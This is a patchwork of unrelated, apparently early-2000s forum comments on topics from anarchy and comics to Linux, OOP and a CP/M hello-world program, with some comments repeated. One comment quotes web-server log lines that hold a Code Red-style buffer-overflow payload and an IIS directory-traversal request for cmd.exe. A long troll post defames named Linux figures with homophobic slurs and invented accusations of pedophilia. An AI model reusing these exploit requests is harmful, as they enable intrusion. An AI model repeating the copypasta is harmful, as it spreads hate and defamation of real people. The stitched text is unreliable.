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I know what anarchy means. It is the absense of authority, and it implies either disorder or death.

The broadest stages of human organization are anarchy, tribes (chiefdoms) and states. I used "tribal anarchy" as a synonym for the two non-state stages. (Chapter 14, "From Egalitarianism to Kleptocracy" of GG&S, has an entertaining list of the forces that increase state power)

Prehaps you are using a fantasy defintion put forth by self-proclaimed "anarchists". (They are better called "libertarian socialists", which at least makes plain the impossibilities of their goal)

well, there are primative types of anarchism, but it's not the most common

Oh, do you have examples of any other form of anarchism ever occuring? And did it last very long?

Even pro-"anarchist" writers admit that no such system exists today.

There is no "American Comics Approval Code" legislation and there never was. The Comics Code Authority was an institution created voluntarily by the comics industry in response to the Senate hearings occasioned by Frederic Wertham's "Seduction of the Innocent." It was loathesome and cowardly self-censorship, but it wasn't a law.

I'm sure if there were some form of generator hooked up to my leg I could power a PDA with a full colour screen.

Give it a shot. Get or build yourself a Faraday generator (copper coil and magnet), rig it to your leg, and wire it to a battery. Then see how long a color screen PDA runs off of it.

First, you should check out the Internet Top 100 SF/Fantasy List, which does contain many of the classics you've read, but also has a lot of newer authors you haven't read. It also usually has a number of classics from authors such as Lem and Strugatsky that you may not know.

I agree with most of the suggestions given in this thread so far. I'd also suggest looking into: "Diaspora", Greg Egan; "A Fire Upon The Deep", Vernor Vinge; The Book of the New Sun series by Gene Wolfe.

i think that you should have linked to this, your site did. dusty pc

• Spudguns Yahoo Group
• Spudgun Technology Center Has a T-Shirt Launcher for Much Cheaper.
• Spudguns.org
• Pyro's List of Spudgun Links around 500 Links

Finally! A PC that locates the power supply outside the case. Of course, the NGen did it 20 years ago...

Other soft items besides your rolled up T-Shirts are Nerf Balls, Puff Balls, confetti, streamers, advertising leaflets, hot dogs, feathers, SnoBiz® or other snow flake products, rose pedals, balloons (uninflated), etc.

Good lord, they've come up with something worst than browser pop-ups...

Well, in that case you will need a popup stopper

However, that lame Canadian content law did cause the creation of one of the funnies comedy routines known to man: Bob and Doug McKenzie. They (Rick Moranis and Dave Thomas) created it because SCTV didn't have enough Canadian content. (For those that don't know, the bit was about two dumbass Canadians that drank beer and ate back bacon.) The ironic thing is, it was the funniest part of SCTV!! I guess the law worked!! (Just kidding...)

It's not Free or free, but try Apple II Oasis. It runs almost anything, and it does stuff other emulators don't do. It's a closed-source $25 shareware app. Unfortunately, the unreg version limits you to 20 minute emulator sessions, restricts what you can do with the disk manager (Copy II Plus to the rescue), and limits your total transfer amount to 300K(?) from an actual Apple II (for making disk images).

If we look at your passport picture, I suppose it's for your own sake that those things are hidden on a Java card.

Greets from Belgium.

You can grab mms:// urls with MMS Client or feed it straight to mplayer, which will stream it.

Cheers!

CvD.

If you wanna watch it under Linux, you can use mplayer, which will play straight in mozilla if you have the mozilla-mplayer plugin.

Or if you wanna save it onto your HD you can view the HTML source and pick out the URL. Get the asx file with wget. Then take the mms:// link that is in there and feed it to MMS client.

These (mozilla plugin, mplayer, mmsclient) are all available as Debian packages. :-)

Cheers!

Costyn.

What about the old issues of The Incredible Hulk when Rick Jones used his Ham radio to gather "The Teen Brigade" assist the Hulk in times of need? You might want to check out Incredible Hulk #6 for quite possibly the first truly geek comic reference. (Google yielded this as a place to read about it -- check out the bottom of the page.)
- Senor Cliffy

What about the old Incredible Hulks when Rick Jones used his Ham radio to gather "The Teen Brigade" assist the Hulk in times of need? You might want to check out Incredible Hulk #6 for quite possibly the first truly geek comic reference. (Google yielded this as a place to read about it -- check out the bottom one.
- Senor Cliffy

And so should you!

Bono and the Edge caught in scandalous gay tryst

So I propose:

Simurgh: a bird so old it has seen the world destroyed and rebuilt three times.

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Remember, waste SPAMMER's time & money like they waste our's.

There's already such a project: The Mozilla control also uses the existing Internet Explorer interfaces meaning that it can be a drop in replacement for the Internet Explorer control in many cases. Unfortunately, Netscape never had much interest in this, so it's not surprising that most third party apps in Windows continue to embed IE.

OT, I've always found it very ironic that the very dialog that's used to change default browser settings is powered by IE.

If anything, the Aussies should outlaw VEGGIMITE, not Spam!

Without Spam, what should we substitute in that Monty Python song? I propose the new PC phrase, "Potted Meat Product".

Mother of all OOP criticism websites. This author lives to bash OO up down and all around.

see these entries in my /var/log/httpd/access_log

218.19.158.252 - - [10/Apr/2003:22:32:10 -0700] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858% ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%uc bd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531 b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 271
80.142.23.152 - - [11/Apr/2003:21:03:56 -0700] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+ c:\\ HTTP/1.1" 404 309

Here's a web page I use to handle these exploit attempts

Beat me to the punch. I had the exact same notion. Aspect is a new idea that is going around. Patterns are basically a 'way to code' OOP (being general, here). And putting XP makes me think the author of the article or the submitter has absolutely no idea what they are talking about (site is /.'ed so I can't tell you which).

Tablizer, however, has ideas to an alternative to OOP that are quite interesting.

Robert Zubrin sums this up better than I can in his essay, The Significance of the Martian Frontier .

The guy on 32nd and Main doesn't have anything to do with going to Mars. You cannot arbitrarily link any two items in the gov't's budget and call it a causal effect. I'm sick of hearing this specious argument. Besides, I think the most promising way to get to Mars is in the private sector. NASA just makes a gigantic sucking noise.

-- Bob

Native American tribes also used swastikas, as well. In fact, it was the sanskrit symbol for "Good Fortune". Here's a link with a little history about non-nazi uses of the glyph http://www.geocities.com/angryindian/page5.html

I played a lot of violent games as a youth. I smashed balls, I beat people up, I violently ate ghosts , and I even engaged in animal cruelty.

And now I am an axe-murderer.

Don't be like me.

What's wrong with bolting your PC to a wall? It gets a bit noisy at times, but works find for me...

Obvious?

Now all we need are mobile PDA/phones for the deaf... oh, wait.

About two decades ago I read about how some researchers tought themselves to read sound-frequency charts (on paper) and know what the speaker was saying. I then conceived of using a portable Newton-like device to display such graphs in real-time. Deaf people could learn to interpret such charts to know what people are saying.

Sample illustration of device

It has come to my attention that the entire Linux community is a hotbed of so called 'alternative sexuality,' which includes anything from hedonistic orgies to homosexuality to pedophilia.

What better way of demonstrating this than by looking at the hidden messages contained within the names of some of Linux's most outspoken advocates:

• Linus Torvalds is an anagram of slit anus or VD 'L,' clearly referring to himself by the first initial.
• Richard M. Stallman, spokespervert for the Gaysex's Not Unusual 'movement' is an anagram of mans cram thrill ad.
• Alan Cox is barely an anagram of anal cox which is just so filthy and unchristian it unnerves me.

I'm sure that Eric S. Raymond, composer of the satanic homosexual propaganda diatribe The Cathedral and the Bizarre, is probably an anagram of something queer, but we don't need to look that far as we know he's always shoving a gun up some poor little boy's rectum. Update: Eric S. Raymond is actually an anagram for secondary rim and cord in my arse. It just goes to show you that he is indeed queer.

Update the Second: It is also documented that Evil Sicko Gaymond is responsible for a nauseating piece of code called Fetchmail, which is obviously sinister sodomite slang for 'Felch Male' -- a disgusting practise. For those not in the know, 'felching' is the act performed by two perverts wherein one sucks their own post-coital ejaculate out of the other's rectum. In fact, it appears that the dirty Linux faggots set out to undermine the good Republican institution of e-mail, turning it into 'e-male.'

As far as Richard 'Master' Stallman goes, that filthy fudge-packer was actually quoted on leftist commie propaganda site Salon.com as saying the following: 'I've been resistant to the pressure to conform in any circumstance,' he says. 'It's about being able to question conventional wisdom,' he asserts. 'I believe in love, but not monogamy,' he says plainly.

And this isn't a made up troll bullshit either! He actually stated this tripe, which makes it obvious that he is trying to politely say that he's a flaming homo slut!

Speaking about 'flaming,' who better to point out as a filthy chutney ferret than Slashdot's very own self-confessed pederast Jon Katz. Although an obvious deviant anagram cannot be found from his name, he has already confessed, nay boasted of the homosexual perversion of corrupting the innocence of young children. To quote from the article linked:

'I've got a rare kidney disease,' I told her. 'I have to go to the bathroom a lot. You can come with me if you want, but it takes a while. Is that okay with you? Do you want a note from my doctor?'

Is this why you were touching your penis in the cinema, Jon? And letting the other boys touch it too?

We should also point out that Jon Katz refers to himself as 'Slashdot's resident Gasbag.' Is there any more doubt? For those fortunate few who aren't aware of the list of homosexual terminology found inside the Linux 'Sauce Code,' a 'Gasbag' is a pervert who gains sexual gratification from having a thin straw inserted into his urethra (or to use the common parlance, 'piss-pipe'), then his homosexual lover blows firmly down the straw to inflate his scrotum. This is, of course, when he's not busy violating the dignity and copyright of po

Probably.

Why not, at the same time, buy or license the rights to the Apple Corps name?

Apple's had issues like this before (viz. Macintosh vs. McIntosh), and they've figured them out..

If you don't support the president's war you're UNAMERICAN! After all, he's the president, it must be true. What does not supporting an illegal war condemned by the world have to do with living in the USA? The only places that don't tolerate dissent (such as what you are saying) are the countries the USA puts on it's hitlist.

Anyway, the USA is repeating history, it's around Nazi Germany 1937 about now - and you're one of it's brainwashed subjects.

USA WMD terrormap
Why america sucks

> Looking at history, America has violent responses in two major causes: mass attacks on civilians/non-combatants, and threats to national security.

Not true.

> Personally, I believe Iraq *does* have chemical weapons.

Of course they do.

I don't buy the CIA connection theory, nor would I necessarily consider it to be a bad thing if it were true. It's just the connection with former president Bill Clinton that I find helpful in looking into who Judge Richard Stearns is.

The first stored program computer to go into service was Wilkes' machine. I was actually in error to respond to the original message that said Von Neumann came up with the "idea" for the stored program computer since it is well known that Von Neumann got his idea for the stored program computer from Eckert and Mauchly and that Mauchly got his ideas from Iowa State College of Agriculture and Mechanical Arts in Ames, Iowa when he visisted Prof. Atanasoff clear back in the 1930's.

"The price of liberty is eternal vigilance."
--Thomas Jefferson

Oooooh boy. Yet another misquoting of Jefferson. He gets misquoted on slashdot ALOT, and 90% of the times that he isn't, he is taken out of context in a completely inappropriate way.

As taken from here.

A very famous quote, often attributed to Jefferson is:

"Eternal vigilance is the price of liberty."
Indeed, this is a sentiment that is consonant with Jefferson's writings, and there are several genuine quotes that are similar to it. But Jefferson did not write it. Bartlett's "Familiar Quotations" credits it to John Philpot Curran, a contemporary of Jefferson. Bartlett's says it is "commonly quoted" as stated above. However, the original version is, in my opinion, much more interesting:

"It is the common fate of the indolent to see their rights become a prey to the active. The condition upon which God hath given liberty to man is eternal vigilance; which condition if he break, servitude is at once the consequence of his crime and the punishment of his guilt."
Jefferson wrote the following, expressing approximately the same sentiments:

"Lethargy [is] the forerunner of death to the public liberty." --Thomas Jefferson to William Stephens Smith, 1787.
"We, I hope, shall adhere to our republican government and keep it to its original principles by narrowly watching it." --Thomas Jefferson to ------, March 18, 1793. ME 9:45

"I do most anxiously wish to see the highest degrees of education given to the higher degrees of genius and to all degrees of it, so much as may enable them to read and understand what is going on in the world and to keep their part of it going on right; for nothing can keep it right but their own vigilant and distrustful superintendence." --Thomas Jefferson to Mann Page, 1795. ME 9:306

Thus, it is easy to see how the quote in question might be attributed to Jefferson.

While I agree that some parts of the Patriot act go further than I think they should, I am REALLY sick of the paranoid irrational reactions it's getting. It's not going to cause you to get locked up overnight...well...unless you are a bomb-packing terrorist - so why not work calmly and rationally to change the parts of it you think go to far? If you have a good point, make it, and it will stand for itself.

Well, there's a way to hack the Palm hardware to at least triple the range, but of course it draws more battery power. Still, Palm III's and even Palm V's are dirt cheap these days; much cheaper than a high-end remote.

In my hurry, I forgot a quote mark!!!

Check Link

-uso.

You want a nice minimalist interface?

Anyone got ad-free hosting and wants to shove a copy of mugoogle.htm on it? :) Now that's minimalist.

-uso.

First, they learn something about the threat to their own privacy. Second, one can present the dilemma to them: If you're asked to work on it, especially in the current job market, would you do it?

The teacher can also add that this is a concrete, current issue that is reality and not some fake problem. (I know this since I am exactly in this position.)

is Google. "ethical dilemmas" technology yields some good ones, and some false positives; here's an interesting paper.
The first hit and one of my favorite questions, which I've debated to some length with friends in the past, is to what extent you can observe your workers' use of the Internet. After all, their traffic runs through your servers in a manner akin to a person shouting cell-phone conversations; but should you accept that those 8 hours a day will not all be spent filling TPS reports, or should you employ Draconian tactics to monitor users' porn-site usage?
Another interesting one, less IT-related but also interesting, is the economic issue: if the application of certain expensive technology can save human lives, should it be used, to whom should it be offered, and who should have to pay?
Perhaps one day SETI will present us with another dilemma: If you know a religion to be false, should you tell its followers? Some would say this is already an issue in the modern information-enabled world.

Here's a link to how to make it on this Geoshitties page.

Well, you don't need to be coding to qualify for the next level after they give you the CDs - you just need to draft up an architecture, right? :-p

Anyway, I just asked because one of the guys who's going this time, Kapil (the guy in the middle), is a good friend of mine from high-school.

Oh well!!! Good luck, for the next time.

Illudium Pew-36

I think it's pretty funny, yet deadly serious... They go through each feature of C# and end up concluding that you should avoid them all.
C# Best Practice: Do not use boxing and unboxing

check it out here:
csharp faq

I think it's pretty funny, yet deadly serious... They go through each feature of C# and end up concluding that you should avoid them all.
C# Best Practice: Do not use boxing and unboxing

check it out here:
csharp faq

Yup, here it is.

> These means that we look 20 and 30 years into the future so that we can guarantee that we have the capability to [...] carry out our national policies

... worldwide.

Conservatives use Jesux. Of course, it uses the Bo[u]rn[e]-Again SHell.

The above program will not link correctly on the cc65 compiler when targeting the Commodore C16-Plus/4, as there is no stdio at *all* in the C16 runtime.

It also won't work with my cc86 project (Turbo C++ 1.01 to CP/M-86 cross-compiler), because cc86 has *no* runtime at all, except for the startup code that calls main(). See below for an example of how to use cc86 to write a hello world program.

-uso.
/* Hello World program for cc86 */
#include <8088.h> /* may need to be cpm.h on the current version */

int lputc (int c)
{
if (c==0) return 0;
if (c=='\n') lputc('\r'); /* newline translation */
_CL=2; /* put char to console */
_DL=c;
geninterrupt(224); /* CP/M */
return c;
}

void lputs (char *s)
{
while (lputc(*(s++)));
}

void main (void) /* XXX: how to pass argc/argv in start86? */
{
lputs ("Hello world\n");
}